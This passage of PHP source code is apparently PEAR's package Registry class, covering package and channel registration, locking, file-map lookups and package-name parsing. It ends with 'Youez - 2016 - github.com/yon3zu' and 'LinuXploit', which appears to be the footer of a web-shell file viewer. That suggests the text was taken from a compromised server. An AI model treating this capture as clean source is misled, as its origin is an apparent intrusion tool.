            $ret[$channel] = $this->_listPackages($channel);
        }

        return $ret;
    }

    /**
     * Add an installed package to the registry
     * @param string package name
     * @param array package info (parsed by PEAR_Common::infoFrom*() methods)
     * @return bool success of saving
     * @access private
     */
    function _addPackage($package, $info)
    {
        if ($this->_packageExists($package)) {
            return false;
        }

        $fp = $this->_openPackageFile($package, 'wb');
        if ($fp === null) {
            return false;
        }

        $info['_lastmodified'] = self::getSourceDateEpoch();
        fwrite($fp, serialize($info));
        $this->_closePackageFile($fp);
        if (isset($info['filelist'])) {
            $this->_rebuildFileMap();
        }

        return true;
    }

    /**
     * @param PEAR_PackageFile_v1|PEAR_PackageFile_v2
     * @return bool
     * @access private
     */
    function _addPackage2($info)
    {
        if (!is_a($info, 'PEAR_PackageFile_v1') && !is_a($info, 'PEAR_PackageFile_v2')) {
            return false;
        }

        if (!$info->validate()) {
            if (class_exists('PEAR_Common')) {
                $ui = PEAR_Frontend::singleton();
                if ($ui) {
                    foreach ($info->getValidationWarnings() as $err) {
                        $ui->log($err['message'], true);
                    }
                }
            }
            return false;
        }

        $channel = $info->getChannel();
        $package = $info->getPackage();
        $save = $info;
        if ($this->_packageExists($package, $channel)) {
            return false;
        }

        if (!$this->_channelExists($channel, true)) {
            return false;
        }

        $info = $info->toArray(true);
        if (!$info) {
            return false;
        }

        $fp = $this->_openPackageFile($package, 'wb', $channel);
        if ($fp === null) {
            return false;
        }

        $info['_lastmodified'] = self::getSourceDateEpoch();
        fwrite($fp, serialize($info));
        $this->_closePackageFile($fp);
        $this->_rebuildFileMap();
        return true;
    }

    /**
     * @param string Package name
     * @param array parsed package.xml 1.0
     * @param bool this parameter is only here for BC.  Don't use it.
     * @access private
     */
    function _updatePackage($package, $info, $merge = true)
    {
        $oldinfo = $this->_packageInfo($package);
        if (empty($oldinfo)) {
            return false;
        }

        $fp = $this->_openPackageFile($package, 'w');
        if ($fp === null) {
            return false;
        }

        if (is_object($info)) {
            $info = $info->toArray();
        }
        $info['_lastmodified'] = self::getSourceDateEpoch();

        $newinfo = $info;
        if ($merge) {
            $info = array_merge($oldinfo, $info);
        } else {
            $diff = $info;
        }

        fwrite($fp, serialize($info));
        $this->_closePackageFile($fp);
        if (isset($newinfo['filelist'])) {
            $this->_rebuildFileMap();
        }

        return true;
    }

    /**
     * @param PEAR_PackageFile_v1|PEAR_PackageFile_v2
     * @return bool
     * @access private
     */
    function _updatePackage2($info)
    {
        if (!$this->_packageExists($info->getPackage(), $info->getChannel())) {
            return false;
        }

        $fp = $this->_openPackageFile($info->getPackage(), 'w', $info->getChannel());
        if ($fp === null) {
            return false;
        }

        $save = $info;
        $info = $save->getArray(true);
        $info['_lastmodified'] = self::getSourceDateEpoch();
        fwrite($fp, serialize($info));
        $this->_closePackageFile($fp);
        $this->_rebuildFileMap();
        return true;
    }

    /**
     * @param string Package name
     * @param string Channel name
     * @return PEAR_PackageFile_v1|PEAR_PackageFile_v2|null
     * @access private
     */
    function &_getPackage($package, $channel = 'pear.php.net')
    {
        $info = $this->_packageInfo($package, null, $channel);
        if ($info === null) {
            return $info;
        }

        $a = $this->_config;
        if (!$a) {
            $this->_config = new PEAR_Config;
            $this->_config->set('php_dir', $this->statedir);
        }

        if (!class_exists('PEAR_PackageFile')) {
            require_once 'PEAR/PackageFile.php';
        }

        $pkg = new PEAR_PackageFile($this->_config);
        $pf = &$pkg->fromArray($info);
        return $pf;
    }

    /**
     * @param string channel name
     * @param bool whether to strictly retrieve channel names
     * @return PEAR_ChannelFile|PEAR_Error
     * @access private
     */
    function &_getChannel($channel, $noaliases = false)
    {
        $ch = false;
        if ($this->_channelExists($channel, $noaliases)) {
            $chinfo = $this->_channelInfo($channel, $noaliases);
            if ($chinfo) {
                if (!class_exists('PEAR_ChannelFile')) {
                    require_once 'PEAR/ChannelFile.php';
                }

                $ch = &PEAR_ChannelFile::fromArrayWithErrors($chinfo);
            }
        }

        if ($ch) {
            if ($ch->validate()) {
                return $ch;
            }

            foreach ($ch->getErrors(true) as $err) {
                $message = $err['message'] . "\n";
            }

            $ch = PEAR::raiseError($message);
            return $ch;
        }

        if ($this->_getChannelFromAlias($channel) == 'pear.php.net') {
            // the registry is not properly set up, so use defaults
            if (!class_exists('PEAR_ChannelFile')) {
                require_once 'PEAR/ChannelFile.php';
            }

            $pear_channel = new PEAR_ChannelFile;
            $pear_channel->setServer('pear.php.net');
            $pear_channel->setAlias('pear');
            $pear_channel->setSummary('PHP Extension and Application Repository');
            $pear_channel->setDefaultPEARProtocols();
            $pear_channel->setBaseURL('REST1.0', 'http://pear.php.net/rest/');
            $pear_channel->setBaseURL('REST1.1', 'http://pear.php.net/rest/');
            $pear_channel->setBaseURL('REST1.3', 'http://pear.php.net/rest/');
            return $pear_channel;
        }

        if ($this->_getChannelFromAlias($channel) == 'pecl.php.net') {
            // the registry is not properly set up, so use defaults
            if (!class_exists('PEAR_ChannelFile')) {
                require_once 'PEAR/ChannelFile.php';
            }
            $pear_channel = new PEAR_ChannelFile;
            $pear_channel->setServer('pecl.php.net');
            $pear_channel->setAlias('pecl');
            $pear_channel->setSummary('PHP Extension Community Library');
            $pear_channel->setDefaultPEARProtocols();
            $pear_channel->setBaseURL('REST1.0', 'http://pecl.php.net/rest/');
            $pear_channel->setBaseURL('REST1.1', 'http://pecl.php.net/rest/');
            $pear_channel->setValidationPackage('PEAR_Validator_PECL', '1.0');
            return $pear_channel;
        }

        if ($this->_getChannelFromAlias($channel) == 'doc.php.net') {
            // the registry is not properly set up, so use defaults
            if (!class_exists('PEAR_ChannelFile')) {
                require_once 'PEAR/ChannelFile.php';
            }

            $doc_channel = new PEAR_ChannelFile;
            $doc_channel->setServer('doc.php.net');
            $doc_channel->setAlias('phpdocs');
            $doc_channel->setSummary('PHP Documentation Team');
            $doc_channel->setDefaultPEARProtocols();
            $doc_channel->setBaseURL('REST1.0', 'http://doc.php.net/rest/');
            $doc_channel->setBaseURL('REST1.1', 'http://doc.php.net/rest/');
            $doc_channel->setBaseURL('REST1.3', 'http://doc.php.net/rest/');
            return $doc_channel;
        }


        if ($this->_getChannelFromAlias($channel) == '__uri') {
            // the registry is not properly set up, so use defaults
            if (!class_exists('PEAR_ChannelFile')) {
                require_once 'PEAR/ChannelFile.php';
            }

            $private = new PEAR_ChannelFile;
            $private->setName('__uri');
            $private->setDefaultPEARProtocols();
            $private->setBaseURL('REST1.0', '****');
            $private->setSummary('Pseudo-channel for static packages');
            return $private;
        }

        return $ch;
    }

    /**
     * @param string Package name
     * @param string Channel name
     * @return bool
     */
    function packageExists($package, $channel = 'pear.php.net')
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_packageExists($package, $channel);
        $this->_unlock();
        return $ret;
    }

    // }}}

    // {{{ channelExists()

    /**
     * @param string channel name
     * @param bool if true, then aliases will be ignored
     * @return bool
     */
    function channelExists($channel, $noaliases = false)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_channelExists($channel, $noaliases);
        $this->_unlock();
        return $ret;
    }

    // }}}

    /**
     * @param string channel name mirror is in
     * @param string mirror name
     *
     * @return bool
     */
    function mirrorExists($channel, $mirror)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }

        $ret = $this->_mirrorExists($channel, $mirror);
        $this->_unlock();
        return $ret;
    }

    // {{{ isAlias()

    /**
     * Determines whether the parameter is an alias of a channel
     * @param string
     * @return bool
     */
    function isAlias($alias)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_isChannelAlias($alias);
        $this->_unlock();
        return $ret;
    }

    // }}}
    // {{{ packageInfo()

    /**
     * @param string|null
     * @param string|null
     * @param string
     * @return array|null
     */
    function packageInfo($package = null, $key = null, $channel = 'pear.php.net')
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_packageInfo($package, $key, $channel);
        $this->_unlock();
        return $ret;
    }

    // }}}
    // {{{ channelInfo()

    /**
     * Retrieve a raw array of channel data.
     *
     * Do not use this, instead use {@link getChannel()} for normal
     * operations.  Array structure is undefined in this method
     * @param string channel name
     * @param bool whether to strictly retrieve information only on non-aliases
     * @return array|null|PEAR_Error
     */
    function channelInfo($channel = null, $noaliases = false)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_channelInfo($channel, $noaliases);
        $this->_unlock();
        return $ret;
    }

    // }}}

    /**
     * @param string
     */
    function channelName($channel)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_getChannelFromAlias($channel);
        $this->_unlock();
        return $ret;
    }

    /**
     * @param string
     */
    function channelAlias($channel)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_getAlias($channel);
        $this->_unlock();
        return $ret;
    }
    // {{{ listPackages()

    function listPackages($channel = false)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_listPackages($channel);
        $this->_unlock();
        return $ret;
    }

    // }}}
    // {{{ listAllPackages()

    function listAllPackages()
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_listAllPackages();
        $this->_unlock();
        return $ret;
    }

    // }}}
    // {{{ listChannel()

    function listChannels()
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_listChannels();
        $this->_unlock();
        return $ret;
    }

    // }}}
    // {{{ addPackage()

    /**
     * Add an installed package to the registry
     * @param string|PEAR_PackageFile_v1|PEAR_PackageFile_v2 package name or object
     *               that will be passed to {@link addPackage2()}
     * @param array package info (parsed by PEAR_Common::infoFrom*() methods)
     * @return bool success of saving
     */
    function addPackage($package, $info)
    {
        if (is_object($info)) {
            return $this->addPackage2($info);
        }
        if (PEAR::isError($e = $this->_lock(LOCK_EX))) {
            return $e;
        }
        $ret = $this->_addPackage($package, $info);
        $this->_unlock();
        if ($ret) {
            if (!class_exists('PEAR_PackageFile_v1')) {
                require_once 'PEAR/PackageFile/v1.php';
            }
            $pf = new PEAR_PackageFile_v1;
            $pf->setConfig($this->_config);
            $pf->fromArray($info);
            $this->_dependencyDB->uninstallPackage($pf);
            $this->_dependencyDB->installPackage($pf);
        }
        return $ret;
    }

    // }}}
    // {{{ addPackage2()

    function addPackage2($info)
    {
        if (!is_object($info)) {
            return $this->addPackage($info['package'], $info);
        }
        if (PEAR::isError($e = $this->_lock(LOCK_EX))) {
            return $e;
        }
        $ret = $this->_addPackage2($info);
        $this->_unlock();
        if ($ret) {
            $this->_dependencyDB->uninstallPackage($info);
            $this->_dependencyDB->installPackage($info);
        }
        return $ret;
    }

    // }}}
    // {{{ updateChannel()

    /**
     * For future expandibility purposes, separate this
     * @param PEAR_ChannelFile
     */
    function updateChannel($channel, $lastmodified = null)
    {
        if ($channel->getName() == '__uri') {
            return false;
        }
        return $this->addChannel($channel, $lastmodified, true);
    }

    // }}}
    // {{{ deleteChannel()

    /**
     * Deletion fails if there are any packages installed from the channel
     * @param string|PEAR_ChannelFile channel name
     * @return boolean|PEAR_Error True on deletion, false if it doesn't exist
     */
    function deleteChannel($channel)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_EX))) {
            return $e;
        }

        $ret = $this->_deleteChannel($channel);
        $this->_unlock();
        if ($ret && is_a($this->_config, 'PEAR_Config')) {
            $this->_config->setChannels($this->listChannels());
        }

        return $ret;
    }

    // }}}
    // {{{ addChannel()

    /**
     * @param PEAR_ChannelFile Channel object
     * @param string Last-Modified header from HTTP for caching
     * @return boolean|PEAR_Error True on creation, false if it already exists
     */
    function addChannel($channel, $lastmodified = false, $update = false)
    {
        if (!is_a($channel, 'PEAR_ChannelFile') || !$channel->validate()) {
            return false;
        }

        if (PEAR::isError($e = $this->_lock(LOCK_EX))) {
            return $e;
        }

        $ret = $this->_addChannel($channel, $update, $lastmodified);
        $this->_unlock();
        if (!$update && $ret && is_a($this->_config, 'PEAR_Config')) {
            $this->_config->setChannels($this->listChannels());
        }

        return $ret;
    }

    // }}}
    // {{{ deletePackage()

    function deletePackage($package, $channel = 'pear.php.net')
    {
        if (PEAR::isError($e = $this->_lock(LOCK_EX))) {
            return $e;
        }

        $file = $this->_packageFileName($package, $channel);
        $ret  = file_exists($file) ? @unlink($file) : false;
        $this->_rebuildFileMap();
        $this->_unlock();
        $p = array('channel' => $channel, 'package' => $package);
        $this->_dependencyDB->uninstallPackage($p);
        return $ret;
    }

    // }}}
    // {{{ updatePackage()

    function updatePackage($package, $info, $merge = true)
    {
        if (is_object($info)) {
            return $this->updatePackage2($info, $merge);
        }
        if (PEAR::isError($e = $this->_lock(LOCK_EX))) {
            return $e;
        }
        $ret = $this->_updatePackage($package, $info, $merge);
        $this->_unlock();
        if ($ret) {
            if (!class_exists('PEAR_PackageFile_v1')) {
                require_once 'PEAR/PackageFile/v1.php';
            }
            $pf = new PEAR_PackageFile_v1;
            $pf->setConfig($this->_config);
            $pf->fromArray($this->packageInfo($package));
            $this->_dependencyDB->uninstallPackage($pf);
            $this->_dependencyDB->installPackage($pf);
        }
        return $ret;
    }

    // }}}
    // {{{ updatePackage2()

    function updatePackage2($info)
    {

        if (!is_object($info)) {
            return $this->updatePackage($info['package'], $info, $merge);
        }

        if (!$info->validate(PEAR_VALIDATE_DOWNLOADING)) {
            return false;
        }

        if (PEAR::isError($e = $this->_lock(LOCK_EX))) {
            return $e;
        }

        $ret = $this->_updatePackage2($info);
        $this->_unlock();
        if ($ret) {
            $this->_dependencyDB->uninstallPackage($info);
            $this->_dependencyDB->installPackage($info);
        }

        return $ret;
    }

    // }}}
    // {{{ getChannel()
    /**
     * @param string channel name
     * @param bool whether to strictly return raw channels (no aliases)
     * @return PEAR_ChannelFile|PEAR_Error
     */
    function getChannel($channel, $noaliases = false)
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $ret = $this->_getChannel($channel, $noaliases);
        $this->_unlock();
        if (!$ret) {
            return PEAR::raiseError('Unknown channel: ' . $channel);
        }
        return $ret;
    }

    // }}}
    // {{{ getPackage()
    /**
     * @param string package name
     * @param string channel name
     * @return PEAR_PackageFile_v1|PEAR_PackageFile_v2|null
     */
    function &getPackage($package, $channel = 'pear.php.net')
    {
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        $pf = &$this->_getPackage($package, $channel);
        $this->_unlock();
        return $pf;
    }

    // }}}

    /**
     * Get PEAR_PackageFile_v[1/2] objects representing the contents of
     * a dependency group that are installed.
     *
     * This is used at uninstall-time
     * @param array
     * @return array|false
     */
    function getInstalledGroup($group)
    {
        $ret = array();
        if (isset($group['package'])) {
            if (!isset($group['package'][0])) {
                $group['package'] = array($group['package']);
            }
            foreach ($group['package'] as $package) {
                $depchannel = isset($package['channel']) ? $package['channel'] : '__uri';
                $p = &$this->getPackage($package['name'], $depchannel);
                if ($p) {
                    $save = &$p;
                    $ret[] = &$save;
                }
            }
        }
        if (isset($group['subpackage'])) {
            if (!isset($group['subpackage'][0])) {
                $group['subpackage'] = array($group['subpackage']);
            }
            foreach ($group['subpackage'] as $package) {
                $depchannel = isset($package['channel']) ? $package['channel'] : '__uri';
                $p = &$this->getPackage($package['name'], $depchannel);
                if ($p) {
                    $save = &$p;
                    $ret[] = &$save;
                }
            }
        }
        if (!count($ret)) {
            return false;
        }
        return $ret;
    }

    // {{{ getChannelValidator()
    /**
     * @param string channel name
     * @return PEAR_Validate|false
     */
    function &getChannelValidator($channel)
    {
        $chan = $this->getChannel($channel);
        if (PEAR::isError($chan)) {
            return $chan;
        }
        $val = $chan->getValidationObject();
        return $val;
    }
    // }}}
    // {{{ getChannels()
    /**
     * @param string channel name
     * @return array an array of PEAR_ChannelFile objects representing every installed channel
     */
    function &getChannels()
    {
        $ret = array();
        if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
            return $e;
        }
        foreach ($this->_listChannels() as $channel) {
            $e = &$this->_getChannel($channel);
            if (!$e || PEAR::isError($e)) {
                continue;
            }
            $ret[] = $e;
        }
        $this->_unlock();
        return $ret;
    }

    // }}}
    // {{{ checkFileMap()

    /**
     * Test whether a file or set of files belongs to a package.
     *
     * If an array is passed in
     * @param string|array file path, absolute or relative to the pear
     *                     install dir
     * @param string|array name of PEAR package or array('package' => name, 'channel' =>
     *                     channel) of a package that will be ignored
     * @param string API version - 1.1 will exclude any files belonging to a package
     * @param array private recursion variable
     * @return array|false which package and channel the file belongs to, or an empty
     *                     string if the file does not belong to an installed package,
     *                     or belongs to the second parameter's package
     */
    function checkFileMap($path, $package = false, $api = '1.0', $attrs = false)
    {
        if (is_array($path)) {
            static $notempty;
            if (empty($notempty)) {
                if (!class_exists('PEAR_Installer_Role')) {
                    require_once 'PEAR/Installer/Role.php';
                }
                $notempty = function($a) { return !empty($a); };
            }
            $package = is_array($package) ? array(strtolower($package[0]), strtolower($package[1]))
                : strtolower($package);
            $pkgs = array();
            foreach ($path as $name => $attrs) {
                if (is_array($attrs)) {
                    if (isset($attrs['install-as'])) {
                        $name = $attrs['install-as'];
                    }
                    if (!in_array($attrs['role'], PEAR_Installer_Role::getInstallableRoles())) {
                        // these are not installed
                        continue;
                    }
                    if (!in_array($attrs['role'], PEAR_Installer_Role::getBaseinstallRoles())) {
                        $attrs['baseinstalldir'] = is_array($package) ? $package[1] : $package;
                    }
                    if (isset($attrs['baseinstalldir'])) {
                        $name = $attrs['baseinstalldir'] . DIRECTORY_SEPARATOR . $name;
                    }
                }
                $pkgs[$name] = $this->checkFileMap($name, $package, $api, $attrs);
                if (PEAR::isError($pkgs[$name])) {
                    return $pkgs[$name];
                }
            }
            return array_filter($pkgs, $notempty);
        }
        if (empty($this->filemap_cache)) {
            if (PEAR::isError($e = $this->_lock(LOCK_SH))) {
                return $e;
            }
            $err = $this->_readFileMap();
            $this->_unlock();
            if (PEAR::isError($err)) {
                return $err;
            }
        }
        if (!$attrs) {
            $attrs = array('role' => 'php'); // any old call would be for PHP role only
        }
        if (isset($this->filemap_cache[$attrs['role']][$path])) {
            if ($api >= '1.1' && $this->filemap_cache[$attrs['role']][$path] == $package) {
                return false;
            }
            return $this->filemap_cache[$attrs['role']][$path];
        }
        $l = strlen($this->install_dir);
        if (substr($path, 0, $l) == $this->install_dir) {
            $path = preg_replace('!^'.DIRECTORY_SEPARATOR.'+!', '', substr($path, $l));
        }
        if (isset($this->filemap_cache[$attrs['role']][$path])) {
            if ($api >= '1.1' && $this->filemap_cache[$attrs['role']][$path] == $package) {
                return false;
            }
            return $this->filemap_cache[$attrs['role']][$path];
        }
        return false;
    }

    // }}}
    // {{{ flush()
    /**
     * Force a reload of the filemap
     * @since 1.5.0RC3
     */
    function flushFileMap()
    {
        $this->filemap_cache = null;
        clearstatcache(); // ensure that the next read gets the full, current filemap
    }

    // }}}
    // {{{ apiVersion()
    /**
     * Get the expected API version.  Channels API is version 1.1, as it is backwards
     * compatible with 1.0
     * @return string
     */
    function apiVersion()
    {
        return '1.1';
    }
    // }}}


    /**
     * Parse a package name, or validate a parsed package name array
     * @param string|array pass in an array of format
     *                     array(
     *                      'package' => 'pname',
     *                     ['channel' => 'channame',]
     *                     ['version' => 'version',]
     *                     ['state' => 'state',]
     *                     ['group' => 'groupname'])
     *                     or a string of format
     *                     [channel://][channame/]pname[-version|-state][/group=groupname]
     * @return array|PEAR_Error
     */
    function parsePackageName($param, $defaultchannel = 'pear.php.net')
    {
        $saveparam = $param;
        if (is_array($param)) {
            // convert to string for error messages
            $saveparam = $this->parsedPackageNameToString($param);
            // process the array
            if (!isset($param['package'])) {
                return PEAR::raiseError('parsePackageName(): array $param ' .
                    'must contain a valid package name in index "param"',
                    'package', null, null, $param);
            }
            if (!isset($param['uri'])) {
                if (!isset($param['channel'])) {
                    $param['channel'] = $defaultchannel;
                }
            } else {
                $param['channel'] = '__uri';
            }
        } else {
            $components = @parse_url((string) $param);
            if (isset($components['scheme'])) {
                if ($components['scheme'] == 'http') {
                    // uri package
                    $param = array('uri' => $param, 'channel' => '__uri');
                } elseif($components['scheme'] != 'channel') {
                    return PEAR::raiseError('parsePackageName(): only channel:// uris may ' .
                        'be downloaded, not "' . $param . '"', 'invalid', null, null, $param);
                }
            }
            if (!isset($components['path'])) {
                return PEAR::raiseError('parsePackageName(): array $param ' .
                    'must contain a valid package name in "' . $param . '"',
                    'package', null, null, $param);
            }
            if (isset($components['host'])) {
                // remove the leading "/"
                $components['path'] = substr($components['path'], 1);
            }
            if (!isset($components['scheme'])) {
                if (strpos($components['path'], '/') !== false) {
                    if ($components['path'][0] == '/') {
                        return PEAR::raiseError('parsePackageName(): this is not ' .
                            'a package name, it begins with "/" in "' . $param . '"',
                            'invalid', null, null, $param);
                    }
                    $parts = explode('/', $components['path']);
                    $components['host'] = array_shift($parts);
                    if (count($parts) > 1) {
                        $components['path'] = array_pop($parts);
                        $components['host'] .= '/' . implode('/', $parts);
                    } else {
                        $components['path'] = implode('/', $parts);
                    }
                } else {
                    $components['host'] = $defaultchannel;
                }
            } else {
                if (strpos($components['path'], '/')) {
                    $parts = explode('/', $components['path']);
                    $components['path'] = array_pop($parts);
                    $components['host'] .= '/' . implode('/', $parts);
                }
            }

            if (is_array($param)) {
                $param['package'] = $components['path'];
            } else {
                $param = array(
                    'package' => $components['path']
                    );
                if (isset($components['host'])) {
                    $param['channel'] = $components['host'];
                }
            }
            if (isset($components['fragment'])) {
                $param['group'] = $components['fragment'];
            }
            if (isset($components['user'])) {
                $param['user'] = $components['user'];
            }
            if (isset($components['pass'])) {
                $param['pass'] = $components['pass'];
            }
            if (isset($components['query'])) {
                parse_str($components['query'], $param['opts']);
            }
            // check for extension
            $pathinfo = pathinfo($param['package']);
            if (isset($pathinfo['extension']) &&
                  in_array(strtolower($pathinfo['extension']), array('tgz', 'tar'))) {
                $param['extension'] = $pathinfo['extension'];
                $param['package'] = substr($pathinfo['basename'], 0,
                    strlen($pathinfo['basename']) - 4);
            }
            // check for version
            if (strpos($param['package'], '-')) {
                $test = explode('-', $param['package']);
                if (count($test) != 2) {
                    return PEAR::raiseError('parsePackageName(): only one version/state ' .
                        'delimiter "-" is allowed in "' . $saveparam . '"',
                        'version', null, null, $param);
                }
                list($param['package'], $param['version']) = $test;
            }
        }
        // validation
        $info = $this->channelExists($param['channel']);
        if (PEAR::isError($info)) {
            return $info;
        }
        if (!$info) {
            return PEAR::raiseError('unknown channel "' . $param['channel'] .
                '" in "' . $saveparam . '"', 'channel', null, null, $param);
        }
        $chan = $this->getChannel($param['channel']);
        if (PEAR::isError($chan)) {
            return $chan;
        }
        if (!$chan) {
            return PEAR::raiseError("Exception: corrupt registry, could not " .
                "retrieve channel " . $param['channel'] . " information",
                'registry', null, null, $param);
        }
        $param['channel'] = $chan->getName();
        $validate = $chan->getValidationObject();
        $vpackage = $chan->getValidationPackage();
        // validate package name
        if (!$validate->validPackageName($param['package'], $vpackage['_content'])) {
            return PEAR::raiseError('parsePackageName(): invalid package name "' .
                $param['package'] . '" in "' . $saveparam . '"',
                'package', null, null, $param);
        }
        if (isset($param['group'])) {
            if (!PEAR_Validate::validGroupName($param['group'])) {
                return PEAR::raiseError('parsePackageName(): dependency group "' . $param['group'] .
                    '" is not a valid group name in "' . $saveparam . '"', 'group', null, null,
                    $param);
            }
        }
        if (isset($param['state'])) {
            if (!in_array(strtolower($param['state']), $validate->getValidStates())) {
                return PEAR::raiseError('parsePackageName(): state "' . $param['state']
                    . '" is not a valid state in "' . $saveparam . '"',
                    'state', null, null, $param);
            }
        }
        if (isset($param['version'])) {
            if (isset($param['state'])) {
                return PEAR::raiseError('parsePackageName(): cannot contain both ' .
                    'a version and a stability (state) in "' . $saveparam . '"',
                    'version/state', null, null, $param);
            }
            // check whether version is actually a state
            if (in_array(strtolower($param['version']), $validate->getValidStates())) {
                $param['state'] = strtolower($param['version']);
                unset($param['version']);
            } else {
                if (!$validate->validVersion($param['version'])) {
                    return PEAR::raiseError('parsePackageName(): "' . $param['version'] .
                        '" is neither a valid version nor a valid state in "' .
                        $saveparam . '"', 'version/state', null, null, $param);
                }
            }
        }
        return $param;
    }

    /**
     * @param array
     * @return string
     */
    function parsedPackageNameToString($parsed, $brief = false)
    {
        if (is_string($parsed)) {
            return $parsed;
        }
        if (is_object($parsed)) {
            $p = $parsed;
            $parsed = array(
                'package' => $p->getPackage(),
                'channel' => $p->getChannel(),
                'version' => $p->getVersion(),
            );
        }
        if (isset($parsed['uri'])) {
            return $parsed['uri'];
        }
        if ($brief) {
            if ($channel = $this->channelAlias($parsed['channel'])) {
                return $channel . '/' . $parsed['package'];
            }
        }
        $upass = '';
        if (isset($parsed['user'])) {
            $upass = $parsed['user'];
            if (isset($parsed['pass'])) {
                $upass .= ':' . $parsed['pass'];
            }
            $upass = "$upass@";
        }
        $ret = 'channel://' . $upass . $parsed['channel'] . '/' . $parsed['package'];
        if (isset($parsed['version']) || isset($parsed['state'])) {
            $ver = isset($parsed['version']) ? $parsed['version'] : '';
            $ver .= isset($parsed['state']) ? $parsed['state'] : '';
            $ret .= '-' . $ver;
        }
        if (isset($parsed['extension'])) {
            $ret .= '.' . $parsed['extension'];
        }
        if (isset($parsed['opts'])) {
            $ret .= '?';
            foreach ($parsed['opts'] as $name => $value) {
                $parsed['opts'][$name] = "$name=$value";
            }
            $ret .= implode('&', $parsed['opts']);
        }
        if (isset($parsed['group'])) {
            $ret .= '#' . $parsed['group'];
        }
        return $ret;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit